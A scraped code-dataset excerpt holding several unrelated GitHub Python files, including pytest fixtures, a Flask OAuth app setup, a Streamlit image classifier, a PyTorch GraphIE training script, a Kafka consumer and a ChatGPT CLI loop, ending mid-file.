'None'\n assert actual == expected\n\n@pytest.fixture\ndef sample_linked_list():\n linked_list = LinkedList()\n linked_list.append(10)\n linked_list.append(20)\n linked_list.append(30)\n linked_list.append(40)\n return linked_list\n\n@pytest.fixture\ndef sample_linked_list_b():\n linked_list = LinkedList()\n linked_list.append(15)\n linked_list.append(25)\n linked_list.append(35)\n linked_list.append(45)\n linked_list.append(55)\n linked_list.append(65)\n return linked_list\n\n@pytest.fixture\ndef empty_ll():\n return LinkedList()\n", "repo_name": "eugenemonnier/data-structures-and-algorithms", "sub_path": "tests/test_linked_list.py", "file_name": "test_linked_list.py", "file_ext": "py", "file_size_in_byte": 3774, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "code_challenges.data_structures.linked_list.linked_list.LinkedList", "line_number": 7, "usage_type": "call"}, {"api_name": "code_challenges.data_structures.linked_list.linked_list.Node", "line_number": 13, "usage_type": "call"}, {"api_name": "code_challenges.data_structures.linked_list.linked_list.LinkedList", "line_number": 22, "usage_type": "call"}, {"api_name": "code_challenges.data_structures.linked_list.linked_list.LinkedList", "line_number": 79, "usage_type": "call"}, {"api_name": "code_challenges.data_structures.linked_list.linked_list.merge_lists", "line_number": 85, "usage_type": "call"}, {"api_name": "code_challenges.data_structures.linked_list.linked_list.merge_lists", "line_number": 91, "usage_type": "call"}, {"api_name": "code_challenges.data_structures.linked_list.linked_list.merge_lists", "line_number": 97, "usage_type": "call"}, {"api_name": "code_challenges.data_structures.linked_list.linked_list.LinkedList", "line_number": 104, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 102, "usage_type": "attribute"}, {"api_name": "code_challenges.data_structures.linked_list.linked_list.LinkedList", "line_number": 113, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 111, "usage_type": "attribute"}, {"api_name": "code_challenges.data_structures.linked_list.linked_list.LinkedList", "line_number": 124, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 122, "usage_type": "attribute"}]} {"seq_id": "74033474143", "text": "import logging\nimport os\n\nimport yaml\nfrom flask import (\n Flask,\n current_app,\n flash,\n g,\n json,\n jsonify,\n redirect,\n request,\n url_for,\n)\nfrom oauthlib.oauth2.rfc6749.utils import list_to_scope, scope_to_list\nfrom sqlalchemy import create_engine\n\nfrom benwaonline_auth import config, models\nfrom benwaonline_auth.bwoauth import auth\nfrom benwaonline_auth.cache import cache\nfrom benwaonline_auth.database import db\nfrom benwaonline_auth.oauth import oauth\n\nwith open(\"jwks.json\", \"r\") as f:\n JWKS = json.load(f)\n\n\ndef setup_logger_handlers(app):\n sh = logging.StreamHandler()\n sh.setFormatter(\n logging.Formatter(\n \"%(asctime)s %(levelname)s: %(message)s \" \"[in %(pathname)s:%(lineno)d]\"\n )\n )\n sh.setLevel(logging.DEBUG)\n app.logger.addHandler(sh)\n\n\ndef create_app(config_name=None):\n \"\"\"\n Returns the Flask app.\n \"\"\"\n app = Flask(__name__)\n\n if not config_name:\n config_name = os.getenv(\"FLASK_ENV\")\n\n if config_name == \"production\":\n setup_logger_handlers(app)\n\n app.config.from_object(config.app_config[config_name])\n\n db.init_app(app)\n oauth.init_app(app)\n cache.init_app(\n app,\n config={\n \"CACHE_TYPE\": \"redis\",\n \"CACHE_DEFAULT_TIMEOUT\": 5,\n \"CACHE_REDIS_HOST\": os.getenv(\"REDIS_HOST\"),\n \"CACHE_REDIS_PORT\": os.getenv(\"REDIS_PORT\"),\n \"CACHE_KEY_PREFIX\": \"benwaonline-auth:\",\n },\n )\n\n app.register_blueprint(auth)\n\n @app.cli.command()\n def initdb():\n \"\"\"Initialize the database.\"\"\"\n init_db(app)\n permissions = permissions_loader(\"benwaonline_auth/scopes.yml\")\n init_clients(app, db.session, permissions)\n\n if config_name != \"prod\":\n\n @app.route(\"/.well-known/jwks.json\")\n def jwks():\n return jsonify(JWKS), 200\n\n return app\n\n\ndef init_db(app):\n engine = create_engine(app.config[\"SQLALCHEMY_DATABASE_URI\"])\n # 20$ says I run this on production\n engine.execute(\"DROP DATABASE benwaonlineauth\")\n engine.execute(\"CREATE DATABASE benwaonlineauth\")\n engine.execute(\"USE benwaonlineauth\")\n\n import benwaonline_auth.models\n\n db.create_all()\n\n\n# need a better way to pull all this info\n# refactor this to a click script tbh\ndef init_clients(app, session, default_scopes=None):\n scopes = default_scopes or [\"ham\", \"eggs\"]\n client = models.Client(\n name=\"BenwaOnline\",\n client_id=app.config[\"CLIENT_ID\"],\n client_secret=app.config[\"CLIENT_SECRET\"],\n grant_type=\"authorization_code\",\n response_type=\"code\",\n _redirect_uris=\"http://127.0.0.1:5000/authorize/callback\",\n default_scopes=list_to_scope(scopes),\n allowed_scopes=list_to_scope(scopes),\n )\n session.add(client)\n session.commit()\n\n return\n\n\ndef permissions_loader(fpath):\n with open(fpath, \"r\") as f:\n settings = yaml.load(f)\n\n resources = settings[\"resources\"]\n\n permissions = []\n for k, v in resources.items():\n permissions.extend([k + \":\" + p for p in v[\"permissions\"]])\n\n return permissions\n", "repo_name": "goosechooser/benwaonline-auth", "sub_path": "benwaonline_auth/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 3136, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "flask.json.load", "line_number": 26, "usage_type": "call"}, {"api_name": "flask.json", "line_number": 26, "usage_type": "name"}, {"api_name": "logging.StreamHandler", "line_number": 30, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 32, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 36, "usage_type": "attribute"}, {"api_name": "flask.Flask", "line_number": 44, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 47, "usage_type": "call"}, {"api_name": "benwaonline_auth.config.app_config", "line_number": 52, "usage_type": "attribute"}, {"api_name": "benwaonline_auth.config", "line_number": 52, "usage_type": "name"}, {"api_name": "benwaonline_auth.database.db.init_app", "line_number": 54, "usage_type": "call"}, {"api_name": "benwaonline_auth.database.db", "line_number": 54, "usage_type": "name"}, {"api_name": "benwaonline_auth.oauth.oauth.init_app", "line_number": 55, "usage_type": "call"}, {"api_name": "benwaonline_auth.oauth.oauth", "line_number": 55, "usage_type": "name"}, {"api_name": "benwaonline_auth.cache.cache.init_app", "line_number": 56, "usage_type": "call"}, {"api_name": "benwaonline_auth.cache.cache", "line_number": 56, "usage_type": "name"}, {"api_name": "os.getenv", "line_number": 61, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 62, "usage_type": "call"}, {"api_name": "benwaonline_auth.bwoauth.auth", "line_number": 67, "usage_type": "argument"}, {"api_name": "benwaonline_auth.database.db.session", "line_number": 74, "usage_type": "attribute"}, {"api_name": "benwaonline_auth.database.db", "line_number": 74, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 80, "usage_type": "call"}, {"api_name": "sqlalchemy.create_engine", "line_number": 86, "usage_type": "call"}, {"api_name": "benwaonline_auth.database.db.create_all", "line_number": 94, "usage_type": "call"}, {"api_name": "benwaonline_auth.database.db", "line_number": 94, "usage_type": "name"}, {"api_name": "benwaonline_auth.models.Client", "line_number": 101, "usage_type": "call"}, {"api_name": "benwaonline_auth.models", "line_number": 101, "usage_type": "name"}, {"api_name": "oauthlib.oauth2.rfc6749.utils.list_to_scope", "line_number": 108, "usage_type": "call"}, {"api_name": "oauthlib.oauth2.rfc6749.utils.list_to_scope", "line_number": 109, "usage_type": "call"}, {"api_name": "yaml.load", "line_number": 119, "usage_type": "call"}]} {"seq_id": "41065525631", "text": "import streamlit as st\nimport requests\nfrom PIL import Image\nimport tensorflow as tf\nimport tensorflow_hub as hub\nimport numpy as np\n\nMODEL_URL = 'https://docs.google.com/uc?export=download&id=1-EpKUQQZNDdlwf4yrao6iKdK7D_LGMsd'\nMODEL_PATH = 'model.h5'\n\ndef reshape_img(image):\n resized_img = image.resize((64, 64))\n resized_img = np.array(resized_img) / 255.0\n resized_img = np.expand_dims(resized_img, axis=0)\n return resized_img\n\nst.title('개와 고양이를 분류해드립니다!')\nst.subheader('분류해보고 싶은 개나 고양이 사진을 업로드하세요.')\n\nimg_file = st.file_uploader('이미지를 업로드하세요.', type=['png', 'jpg', 'jpeg'])\n\nif img_file is not None:\n image = Image.open(img_file)\n st.image(image, caption='Uploaded Image.', use_column_width=True)\n\n if not tf.io.gfile.exists(MODEL_PATH):\n with requests.get(MODEL_URL, stream=True) as r:\n r.raise_for_status()\n with open(MODEL_PATH, 'wb') as f:\n for chunk in r.iter_content(chunk_size=8192): \n f.write(chunk)\n\n with tf.keras.utils.custom_object_scope({'KerasLayer': hub.KerasLayer}):\n model = tf.keras.models.load_model(MODEL_PATH)\n\n resized_image = reshape_img(image)\n prediction = model.predict(resized_image)\n\n if prediction[0][0] < prediction[0][1]:\n st.write('예측 결과: 고양이')\n else:\n st.write('예측 결과 : 개')\nelse:\n st.subheader('이미지를 업로드하세요!')\n", "repo_name": "yunkihong-dev/dog-or-cat", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1504, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.array", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 14, "usage_type": "call"}, {"api_name": "streamlit.title", "line_number": 17, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 18, "usage_type": "call"}, {"api_name": "streamlit.file_uploader", "line_number": 20, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 23, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 23, "usage_type": "name"}, {"api_name": "streamlit.image", "line_number": 24, "usage_type": "call"}, {"api_name": "tensorflow.io.gfile.exists", "line_number": 26, "usage_type": "call"}, {"api_name": "tensorflow.io", "line_number": 26, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 27, "usage_type": "call"}, {"api_name": "tensorflow.keras.utils.custom_object_scope", "line_number": 33, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 33, "usage_type": "attribute"}, {"api_name": "tensorflow_hub.KerasLayer", "line_number": 33, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.models.load_model", "line_number": 34, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 34, "usage_type": "attribute"}, {"api_name": "streamlit.write", "line_number": 40, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 42, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 44, "usage_type": "call"}]} {"seq_id": "25863507106", "text": "import torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport torch.nn.functional as F\nfrom data import read_data, DataLoader\nfrom gnn import GNN\nimport numpy as np\nimport random\nimport json\nimport time\nimport math\nimport sys\nimport os\nfrom tqdm import tqdm\nfrom constants import *\n\nimport argparse\n\nparser = argparse.ArgumentParser(description='PyTorch')\nparser.add_argument('--epochs', type=int, default=100, metavar='N', help='number of epochs to train (default: 20)')\nparser.add_argument('--batch', type=int, default=1, help='mini-batch size')\nparser.add_argument('--lr', type=float, default=0.001, metavar='LR', help='learning rate (default: 0.001)')\nparser.add_argument('--wd', type=float, default=0., help='weight decay (default: 0)')\nparser.add_argument('--cuda', action='store_true', default=True, help='enable CUDA training')\nparser.add_argument('--seed', type=int, default=1, metavar='S', help='random seed (default: 1)')\nparser.add_argument('--patience', type=int, default=5, help='number of times to observe worsening validation set error before giving up')\nparser.add_argument('--d_embed', type=int, default=64, help='character embedding dimension')\nparser.add_argument('--filter_sizes', type=str, default='2,3,4', help='character cnn filter size')\nparser.add_argument('--n_filter', type=int, default=64, help='character cnn filter number')\nparser.add_argument('--d_pos_embed', type=int, default=32, help='additional feature')\nparser.add_argument('--d_graph', type=str, default='128', help='lstm and graph layer dimension')\nparser.add_argument('--dropout', type=float, default=0.1, help='dropout probability')\nparser.add_argument('--model', type=str, default='lstm-gcn-lstm', choices=['lstm', 'lstm-lstm', 'lstm-gcn-lstm', 'lstm-rgcn-lstm', 'lstm-gat-lstm'], help='model')\nparser.add_argument('--crf', action='store_true', default=False, help='final crf')\nparser.add_argument('--save_path', type=str, default='models/output', help='output name')\nparser.add_argument('--data_path', type=str, default='./', help='data path')\nparser.add_argument('--case', type=str, default='final_train_case.txt,final_valid_case.txt,final_test_case.txt', help='case list file')\nparser.add_argument('--globalnode', action='store_true', default=False, help='add global node')\n\nparser.add_argument('--test', action='store_true', default=False, help='test mode')\n# parser.add_argument('--testmodel', type=str, default='', help='test model')\n# parser.add_argument('--testbase', type=str, default='./', help='test base path')\n# parser.add_argument('--testcase', type=str, default='tmp_test.txt')\n\nargs = parser.parse_args()\n\nargs.filter_sizes = [int(x) for x in args.filter_sizes.split(',')]\nargs.d_graph = [int(x) for x in args.d_graph.split(',')]\n# if args.testmodel == '':\n# args.testmodel = args.output+'.model'\n# if args.model == 'lstm+g':\n# args.final = 'linear'\n\nlabel2id = tag2id\nd_output = len(label2id)\n\nprint(args)\nresult_obj = {}\n\ndef acc_to_str(acc):\n s = ['%s:%.3f'%(label, acc[label]) for label in acc]\n return ' '.join(s)\n\ndef to_var(tensors, cuda=True):\n if cuda:\n return [Variable(t, requires_grad=False).cuda() for t in tensors]\n else:\n return [Variable(t, requires_grad=False) for t in tensors]\n\n\ndef evaluate(model, dataloader, output=False, args=args):\n # (hit, pred_cnt, gold_cnt)\n count = {label:[0, 0, 0] for label in label2id if label != 'O'}\n n_correct = 0\n n_total = 0\n current_case_id = None\n output_file = None\n model.eval()\n eval_log = open(args.save_path+'_eval.log','w')\n for tensors, batch in tqdm(dataloader, file=eval_log, mininterval=30): # tqdm(dataloader, leave=False):\n data, data_word, pos, length, mask, label, adjs = to_var(tensors, cuda=args.cuda)\n batch_size, docu_len, sent_len, word_len = data.size()\n\n logit = model(data, data_word, pos, length, mask, adjs).view(-1, d_output)\n\n if args.crf:\n logit = logit.view(batch_size*docu_len, sent_len, -1)\n mask = mask.view(batch_size*docu_len, -1)\n _, pred = model.crf_layer.viterbi_decode(logit, mask)\n pred = pred.data\n else:\n pred = logit.max(dim=1)[1]\n\n if output:\n prob = F.softmax(logit.view(batch_size, docu_len, sent_len, -1), dim=3).data\n for i, data in enumerate(batch):\n if data.case_id != current_case_id:\n current_case_id = data.case_id\n if model.crf:\n filename = 'prob_%s_crf.json' % model.model\n else:\n filename = 'prob_%s.json' % model.model\n output_file = open(data.path+filename, 'w')\n obj = {'id':{'case':data.case_id,'doc':data.doc_id,'page':data.page_id}, 'prob':[]}\n for j in range(data.num_sent):\n obj['prob'].append(prob[i,j,:len(data.sents[j])].tolist())\n output_file.write(json.dumps(obj) + '\\n')\n\n mask = mask.data\n label = label.data\n pred = pred.contiguous().view(-1).masked_select(mask.view(-1))\n gold = label.contiguous().view(-1).masked_select(mask.view(-1))\n\n for label, idx in label2id.items():\n if label == 'O':\n continue\n pred_cnt = pred.eq(idx).sum()\n gold_cnt = gold.eq(idx).sum()\n hit = pred.eq(idx).mul(gold.eq(idx)).sum()\n count[label][0] += int(hit)\n count[label][1] += int(pred_cnt)\n count[label][2] += int(gold_cnt)\n\n n_total += length.data.sum()\n n_correct += pred.eq(gold).sum()\n\n eval_log.close()\n os.remove(args.save_path+'_eval.log')\n\n prec, recall, f1 = {}, {}, {}\n for label in count:\n prec[label] = float(count[label][0]) / max(count[label][1],1)\n recall[label] = float(count[label][0]) / max(count[label][2],1)\n if prec[label] * recall[label] == 0:\n f1[label] = 0\n else:\n f1[label] = 2*prec[label]*recall[label]/(prec[label]+recall[label])\n\n return float(n_correct)/float(n_total), prec, recall, f1\n\n\ndef train(dataset):\n\n print('random seed:', args.seed)\n torch.manual_seed(args.seed)\n torch.cuda.manual_seed(args.seed)\n random.seed(args.seed)\n np.random.seed(args.seed)\n torch.backends.cudnn.deterministic = True\n # torch.backends.cudnn.enabled = False\n\n cross_res = {label:[] for label in label2id if label != 'O'}\n\n for cross_valid in range(1):\n\n # print('cross_valid', cross_valid)\n\n model = GNN(word_vocab_size=WORD_VOCAB_SIZE, char_vocab_size=CHAR_VOCAB_SIZE, d_output=d_output, args=args)\n model.cuda()\n # print vocab_size\n\n # print('split dataset')\n # dataset.split_train_valid_test_bycase([0.5, 0.1, 0.4], 5, cross_valid)\n print('train:', len(dataset.train), 'valid:', len(dataset.valid), 'test:', len(dataset.test))\n sys.stdout.flush()\n \n train_dataloader = DataLoader(dataset.train, batch_size=args.batch, shuffle=True)\n valid_dataloader = DataLoader(dataset.valid, batch_size=args.batch)\n test_dataloader = DataLoader(dataset.test, batch_size=args.batch)\n\n weight = torch.zeros(len(label2id))\n for label, idx in label2id.items():\n weight[idx] = 1 if label == 'O' else 2\n loss_function = nn.CrossEntropyLoss(weight.cuda(), reduce=False)\n optimizer = torch.optim.Adam(\n filter(lambda p: p.requires_grad, model.parameters()), lr=args.lr, weight_decay=args.wd)\n # scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=1, gamma=0.8)\n\n best_acc = -1\n wait = 0\n batch_cnt = 0\n\n for epoch in range(args.epochs):\n total_loss = 0\n pending_loss = None\n model.train()\n # random.shuffle(dataset.train)\n load_time, forward_time, backward_time = 0, 0, 0\n model.clear_time()\n \n train_log = open(args.save_path+'_train.log','w')\n for tensors, batch in tqdm(train_dataloader, file=train_log, mininterval=60):\n # print(batch[0].case_id, batch[0].doc_id, batch[0].page_id)\n start = time.time()\n data, data_word, pos, length, mask, label, adjs = to_var(tensors, cuda=args.cuda)\n batch_size, docu_len, sent_len, word_len = data.size()\n load_time += (time.time()-start)\n\n start = time.time()\n logit = model(data, data_word, pos, length, mask, adjs)\n forward_time += (time.time()-start)\n \n start = time.time()\n if args.crf:\n logit = logit.view(batch_size*docu_len, sent_len, -1)\n mask = mask.view(batch_size*docu_len, -1)\n length = length.view(batch_size*docu_len)\n label = label.view(batch_size*docu_len, -1)\n loss = -model.crf_layer.loglikelihood(logit, mask, length, label)\n loss = torch.masked_select(loss, torch.gt(length, 0)).mean() \n else:\n loss = loss_function(logit.view(-1, d_output), label.view(-1))\n loss = torch.masked_select(loss, mask.view(-1)).mean()\n total_loss += loss.data.sum()\n # print(total_loss, batch[0].case_id, batch[0].doc_id, batch[0].page_id)\n if math.isnan(total_loss):\n print('Loss is NaN!')\n exit()\n\n loss.backward()\n optimizer.step()\n optimizer.zero_grad()\n backward_time += (time.time()-start)\n\n batch_cnt += 1\n if batch_cnt % 20000 != 0:\n continue\n # print('load %f forward %f backward %f'%(load_time, forward_time, backward_time))\n # model.print_time()\n valid_acc, valid_prec, valid_recall, valid_f1 = evaluate(model, valid_dataloader, args=args)\n \n print('Epoch %d: Train Loss: %.3f Valid Acc: %.5f' % (epoch, total_loss, valid_acc))\n # print(acc_to_str(valid_f1))\n # scheduler.step()\n\n acc = np.mean(list(valid_f1.values())) # valid_acc\n print(acc)\n if acc >= best_acc:\n obj = {'args':args, 'model':model.state_dict()}\n torch.save(obj, args.save_path+'.model')\n result_obj['valid_prec'] = np.mean(list(valid_prec.values()))\n result_obj['valid_recall'] = np.mean(list(valid_recall.values()))\n result_obj['valid_f1'] = np.mean(list(valid_f1.values()))\n wait = 0 if acc > best_acc else wait+1\n best_acc = max(acc, best_acc)\n\n model.train()\n sys.stdout.flush()\n if wait >= args.patience:\n break\n \n train_log.close()\n os.remove(args.save_path+'_train.log')\n\n if wait >= args.patience:\n break\n\n obj = torch.load(args.save_path+'.model')\n model.load_state_dict(obj['model'])\n\n test(test_dataloader, model)\n\n # print(\"Cross Validation Result:\")\n # for label in cross_res:\n # cross_res[label] = np.mean(cross_res[label])\n # print(acc_to_str(cross_res))\n return cross_res\n\n\ndef test(test_dataloader, model=None):\n\n if model is None:\n obj = torch.load(args.save_path+'.model', map_location=lambda storage, loc:storage)\n train_args = obj['args']\n model = GNN(word_vocab_size=WORD_VOCAB_SIZE, char_vocab_size=CHAR_VOCAB_SIZE, d_output=d_output, args=train_args)\n model.load_state_dict(obj['model'])\n model.cuda()\n print('Model loaded.')\n\n test_acc, test_prec, test_recall, test_f1 = evaluate(model, test_dataloader, output=True, args=args)\n print('######## prec : ', acc_to_str(test_prec))\n print('######## recall : ', acc_to_str(test_recall))\n print('######## f1 : ', acc_to_str(test_f1))\n prec, recall, f1 = np.mean(list(test_prec.values())), np.mean(list(test_recall.values())), np.mean(list(test_f1.values()))\n print(prec, recall, f1)\n result_obj['test_prec'] = prec\n result_obj['test_recall'] = recall\n result_obj['test_f1'] = f1\n result_obj['test_info'] = '\\n'.join([acc_to_str(test_prec), acc_to_str(test_recall), acc_to_str(test_f1)])\n # result_obj['tmp_test_f1'] = mean_test_f1\n\nif __name__ == '__main__':\n\n dataset = read_data(args.data_path, args.case, args.model)\n print('Data loaded.')\n sys.stdout.flush()\n \n if not args.test:\n train(dataset)\n # dataset = read_data(args.testbase, args.testcase, args.model)\n # test(dataset)\n for attr, value in sorted(args.__dict__.items()):\n result_obj[attr] = value\n json.dump(result_obj, open(args.save_path+'_results.json','w'))\n else:\n test_dataloader = DataLoader(dataset.data, batch_size=args.batch)\n test(test_dataloader)\n\n# result = {}\n# cross_res = train(args.seed)\n# for label in cross_res:\n# if label not in result:\n# result[label] = []\n# result[label].append(cross_res[label])\n\n# print(\"Final Result\")\n# for label in result:\n# print(label, np.mean(result[label]), np.std(result[label]))\n\n\n\n\n\n", "repo_name": "thomas0809/GraphIE", "sub_path": "sentence-level/scripts-for-visual-ie/train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 13458, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 107, "dataset": "github-code", "pt": "7", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 68, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 80, "usage_type": "call"}, {"api_name": "data.size", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.nn.functional.softmax", "line_number": 95, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 95, "usage_type": "name"}, {"api_name": "data.case_id", "line_number": 97, "usage_type": "attribute"}, {"api_name": "data.case_id", "line_number": 98, "usage_type": "attribute"}, {"api_name": "data.path", "line_number": 103, "usage_type": "attribute"}, {"api_name": "data.case_id", "line_number": 104, "usage_type": "attribute"}, {"api_name": "data.doc_id", "line_number": 104, "usage_type": "attribute"}, {"api_name": "data.page_id", "line_number": 104, "usage_type": "attribute"}, {"api_name": "data.num_sent", "line_number": 105, "usage_type": "attribute"}, {"api_name": "data.sents", "line_number": 106, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 107, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 128, "usage_type": "call"}, {"api_name": "torch.manual_seed", "line_number": 145, "usage_type": "call"}, {"api_name": "torch.cuda.manual_seed", "line_number": 146, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 146, "usage_type": "attribute"}, {"api_name": "random.seed", "line_number": 147, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 148, "usage_type": "attribute"}, {"api_name": "torch.backends", "line_number": 149, "usage_type": "attribute"}, {"api_name": "gnn.GNN", "line_number": 158, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 165, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 165, "usage_type": "attribute"}, {"api_name": "data.DataLoader", "line_number": 167, "usage_type": "call"}, {"api_name": "data.DataLoader", "line_number": 168, "usage_type": "call"}, {"api_name": "data.DataLoader", "line_number": 169, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 171, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 174, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 174, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 175, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 175, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 192, "usage_type": "call"}, {"api_name": "time.time", "line_number": 194, "usage_type": "call"}, {"api_name": "data.size", "line_number": 196, "usage_type": "call"}, {"api_name": "time.time", "line_number": 197, "usage_type": "call"}, {"api_name": "time.time", "line_number": 199, "usage_type": "call"}, {"api_name": "time.time", "line_number": 201, "usage_type": "call"}, {"api_name": "time.time", "line_number": 203, "usage_type": "call"}, {"api_name": "torch.masked_select", "line_number": 210, "usage_type": "call"}, {"api_name": "torch.gt", "line_number": 210, "usage_type": "call"}, {"api_name": "torch.masked_select", "line_number": 213, "usage_type": "call"}, {"api_name": "math.isnan", "line_number": 216, "usage_type": "call"}, {"api_name": "time.time", "line_number": 223, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 236, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 240, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 241, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 242, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 243, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 248, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 248, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 253, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 258, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 273, "usage_type": "call"}, {"api_name": "gnn.GNN", "line_number": 275, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 284, "usage_type": "call"}, {"api_name": "data.read_data", "line_number": 294, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 296, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 296, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 304, "usage_type": "call"}, {"api_name": "data.DataLoader", "line_number": 306, "usage_type": "call"}]} {"seq_id": "42333965594", "text": "from setuptools import setup, find_packages\n\nwith open(\"requirements.txt\") as f:\n\tinstall_requires = f.read().strip().split(\"\\n\")\n\n# get version from __version__ variable in library_management/__init__.py\nfrom library_management import __version__ as version\n\nsetup(\n\tname=\"library_management\",\n\tversion=version,\n\tdescription=\"An app to manage library memberships\",\n\tauthor=\"Frappe\",\n\tauthor_email=\"developers@frappe.io\",\n\tpackages=find_packages(),\n\tzip_safe=False,\n\tinclude_package_data=True,\n\tinstall_requires=install_requires\n)\n", "repo_name": "netchampfaris/framework-training-app", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 531, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "setuptools.setup", "line_number": 9, "usage_type": "call"}, {"api_name": "library_management.__version__", "line_number": 11, "usage_type": "name"}, {"api_name": "setuptools.find_packages", "line_number": 15, "usage_type": "call"}]} {"seq_id": "27911167537", "text": "from config import KAFKA_TOPIC, KAKFKA_BOOTSTRAP_SERVER\nimport json\nfrom kafka import KafkaConsumer\n\ndef deserialize(record_val):\n return record_val.decode(\"utf-8\")\n # return json.loads(record.value)\n\nif __name__ == \"__main__\":\n \n consumer = KafkaConsumer(\n KAFKA_TOPIC, \n bootstrap_servers=KAKFKA_BOOTSTRAP_SERVER,\n auto_offset_reset=\"earliest\"\n )\n\n for record in consumer:\n print(deserialize(record.value))\n", "repo_name": "vikash5507/pythonLearn", "sub_path": "modules/kafka-python-twitter-stream/src/main/kafka_consumer.py", "file_name": "kafka_consumer.py", "file_ext": "py", "file_size_in_byte": 455, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "kafka.KafkaConsumer", "line_number": 11, "usage_type": "call"}, {"api_name": "config.KAFKA_TOPIC", "line_number": 12, "usage_type": "argument"}, {"api_name": "config.KAKFKA_BOOTSTRAP_SERVER", "line_number": 13, "usage_type": "name"}]} {"seq_id": "6095913138", "text": "import openai\n\nSYSTEM = \"You are a helpful AI assistant that can answer questions provided by the user\"\nHISTORY = [{\"role\": \"system\", \"content\": SYSTEM}]\n\nwhile True:\n prompt = input(\"User: \")\n\n if prompt == \"exit\":\n break\n\n HISTORY.append({\"role\": \"user\", \"content\": prompt})\n\n chat_completion = openai.ChatCompletion.create(\n model=\"gpt-3.5-turbo\",\n messages=HISTORY,\n )\n\n response = chat_completion.choices[0].message.content\n\n HISTORY.append({\"role\": \"assistant\", \"content\": response})\n\n print(f\"GPT: {response}\")\n", "repo_name": "alexjercan/chatgpt-cli", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 563, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "openai.ChatCompletion.create", "line_number": 14, "usage_type": "call"}, {"api_name": "openai.ChatCompletion", "line_number": 14, "usage_type": "attribute"}]} {"seq_id": "36407796012", "text": "from flask import Flask, jsonify, request\n\nimport urllib\nfrom urllib2 import urlopen\n\nimport numpy as np\nimport caffe\n\nimport classify_nsfw\n\n# Pre-load caffe model.\nnsfw_net = caffe.Net(\"nsfw_model/deploy.prototxt\", # pylint: disable=invalid-name\n \"nsfw_model/resnet_50_1by2_nsfw.caffemodel\", caffe.TEST)\n\n# Load transformer\n# Note that the parameters are hard-coded for best results\ncaffe_transformer = caffe.io.Transformer({'data': nsfw_net.blobs['data'].data.shape})\ncaffe_transformer.set_transpose('data', (2, 0, 1)) # move image channels to outermost\ncaffe_transformer.set_mean('data', np.array([104, 117, 123])) # subtract the dataset-mean value in each channel\ncaffe_transformer.set_raw_scale('data', 255) # rescale from [0, 1] to [0, 